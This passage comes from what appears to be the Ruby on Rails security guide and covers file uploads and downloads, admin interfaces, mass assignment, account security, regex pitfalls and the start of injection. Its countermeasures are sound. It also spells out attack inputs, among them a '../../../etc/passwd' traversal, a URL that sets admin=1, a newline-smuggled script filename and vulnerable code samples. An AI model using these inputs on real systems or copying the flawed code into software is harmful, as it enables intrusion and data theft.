<div class="paragraph"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don&#8217;t try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn&#8217;t a valid file name, reject it (or replace not accepted characters), but don&#8217;t remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> sanitize_filename<span style="color: #990000">(</span>filename<span style="color: #990000">)</span>
returning filename<span style="color: #990000">.</span>strip <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>name<span style="color: #990000">|</span>
<span style="font-style: italic"><span style="color: #9A1900"># NOTE: File.basename doesn't work right with Windows paths on Unix</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># get only the filename, not the whole path</span></span>
name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/^.*(\\|\/)/</span><span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
<span style="font-style: italic"><span style="color: #9A1900"># Finally, replace all non alphanumeric, underscore</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="paragraph"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
<div class="paragraph"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
<h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
<div class="paragraph"><p>-- <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache&#8217;s home directory.</em></p></div>
<div class="paragraph"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
<div class="paragraph"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
<h3 id="_file_downloads">4.4. File downloads</h3>
<div class="paragraph"><p>-- <em>Make sure users cannot download arbitrary files.</em></p></div>
<div class="paragraph"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span></tt></pre></div></div>
<div class="paragraph"><p>Simply pass a file name like “../../../etc/passwd” to download the server&#8217;s login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>basename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'../../files'</span><span style="color: #990000">))</span>
filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span></tt></pre></div></div>
<div class="paragraph"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
</div>
<h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
<div class="sectionbody">
<div class="paragraph"><p>-- <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
<div class="paragraph"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
<div class="paragraph"><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
<div class="paragraph"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator&#8217;s cookie, injecting an iframe to steal the administrator&#8217;s password or installing malicious software through browser security holes to take over the administrator&#8217;s computer.</p></div>
<div class="paragraph"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
<div class="paragraph"><p><strong>CSRF</strong> Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
<div class="paragraph"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user&#8217;s router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker&#8217;s site. Everyone who accessed the banking site through that router saw the attacker&#8217;s fake web site and had his credentials stolen.</p></div>
<div class="paragraph"><p>Another example changed Google Adsense&#8217;s e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
<div class="paragraph"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application&#8217;s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
<div class="paragraph"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
<h3 id="_additional_precautions">5.1. Additional precautions</h3>
<div class="paragraph"><p>The common admin interface works like this: it&#8217;s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
<div class="ulist"><ul>
<li>
<p>
It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
</p>
</li>
<li>
<p>
Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user&#8217;s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
</p>
</li>
<li>
<p>
<span style="background-color: #fffcdb;">Put the admin interface to a special sub-domain</span> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
</p>
</li>
</ul></div>
</div>
<h2 id="_mass_assignment">6. Mass assignment</h2>
<div class="sectionbody">
<div class="paragraph"><p>-- <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column&#8217;s value.</em></p></div>
<div class="paragraph"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model&#8217;s attribute by manipulating the hash passed to a model&#8217;s new() method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="paragraph"><p>Mass-assignment saves you much work, because you don&#8217;t have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model&#8217;s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1</tt></pre>
</div></div>
<div class="paragraph"><p>This will set the following parameters in the controller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span></tt></pre></div></div>
<div class="paragraph"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
<h3 id="_countermeasures">6.1. Countermeasures</h3>
<div class="paragraph"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>attr_protected <span style="color: #990000">:</span>admin</tt></pre></div></div>
<div class="paragraph"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won&#8217;t forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>attr_accessible <span style="color: #990000">:</span>name</tt></pre></div></div>
<div class="paragraph"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; "ow3ned", :admin =&gt; true}</span></span>
<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; false # not mass-assigned</span></span>
<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span></tt></pre></div></div>
</div>
<h2 id="_user_management">7. User management</h2>
<div class="sectionbody">
<div class="paragraph"><p>-- <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
<div class="paragraph"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
<div class="paragraph"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=</tt></pre>
</div></div>
<div class="paragraph"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
<div class="paragraph"><p>If the parameter was nil, the resulting SQL query will be</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
</div></div>
<div class="paragraph"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
<h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
<div class="paragraph"><p>-- <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
<div class="paragraph"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don&#8217;t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name&#8217;s and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
<div class="paragraph"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
<div class="paragraph"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
<div class="paragraph"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
<h3 id="_account_hijacking">7.2. Account hijacking</h3>
<div class="paragraph"><p>-- <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
<h4 id="_passwords">7.2.1. Passwords</h4>
<div class="paragraph"><p>Think of a situation where an attacker has stolen a user&#8217;s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim&#8217;s password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
<h4 id="_e_mail">7.2.2. E-Mail</h4>
<div class="paragraph"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker&#8217;s e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
<h4 id="_other">7.2.3. Other</h4>
<div class="paragraph"><p>Depending on your web application, there may be more ways to hijack the user&#8217;s account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
<h3 id="_captchas">7.3. CAPTCHAs</h3>
<div class="paragraph"><p>-- <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
<div class="paragraph"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
<div class="paragraph"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
<div class="paragraph"><p>Most bots are really dumb, they crawl the web and put their spam into every form&#8217;s field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
<div class="paragraph"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
<div class="ulist"><ul>
<li>
<p>
position the fields off of the visible area of the page
</p>
</li>
<li>
<p>
make the elements very small or colour them the same as the background of the page
</p>
</li>
<li>
<p>
leave the fields displayed, but tell humans to leave them blank
</p>
</li>
</ul></div>
<div class="paragraph"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
<div class="paragraph"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder&#8217;s <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
<div class="ulist"><ul>
<li>
<p>
Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
</p>
</li>
<li>
<p>
Randomize the field names
</p>
</li>
<li>
<p>
Include more than one honeypot field of all types, including submission buttons
</p>
</li>
</ul></div>
<div class="paragraph"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
<h3 id="_logging">7.4. Logging</h3>
<div class="paragraph"><p>-- <em>Tell Rails not to put passwords in the log files.</em></p></div>
<div class="paragraph"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password</tt></pre></div></div>
<h3 id="_good_passwords">7.5. Good passwords</h3>
<div class="paragraph"><p>-- <em>Do you find it hard to remember all your passwords? Don&#8217;t write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
<div class="paragraph"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
<div class="paragraph"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
<div class="paragraph"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today&#8217;s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
<div class="paragraph"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
<h3 id="_regular_expressions">7.6. Regular expressions</h3>
<div class="paragraph"><p>-- <em>A common pitfall in Ruby&#8217;s regular expressions is to match the string&#8217;s beginning and end by ^ and $, instead of \A and \z.</em></p></div>
<div class="paragraph"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="paragraph"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span></tt></pre></div></div>
<h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
<div class="paragraph"><p>-- <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
<div class="paragraph"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
<div class="paragraph"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user&#8217;s access rights, too</span>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
<div class="paragraph"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
<div class="paragraph"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form&#8217;s hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
</div>
<h2 id="_injection">8. Injection</h2>
<div class="sectionbody">
<div class="paragraph"><p>-- <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
<div class="paragraph"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
<h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
<div class="paragraph"><p>-- <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
<div class="paragraph"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
<div class="ulist"><ul>
<li>
<p>
Use before_filter :only =&gt; [...] instead of :except =&gt; [...]. This way you don&#8217;t forget to turn it off for newly added actions.
</p>
</li>
<li>
<p>
Use attr_accessible instead of attr_protected. See the mass-assignment section for details
</p>
</li>
<li>
<p>
Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
</p>
</li>
<li>
<p>
Don&#8217;t try to correct user input by blacklists:
</p>
<div class="ulist"><ul>
<li>
<p>
This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
</p>
</li>
<li>
<p>
But reject malformed input
</p>
</li>
</ul></div>
</li>
</ul></div>
<div class="paragraph"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
<h3 id="_sql_injection">8.2. SQL Injection</h3>
<div class="paragraph"><p>-- <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
<h4 id="_introduction_2">8.2.1. Introduction</h4>
<div class="paragraph"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
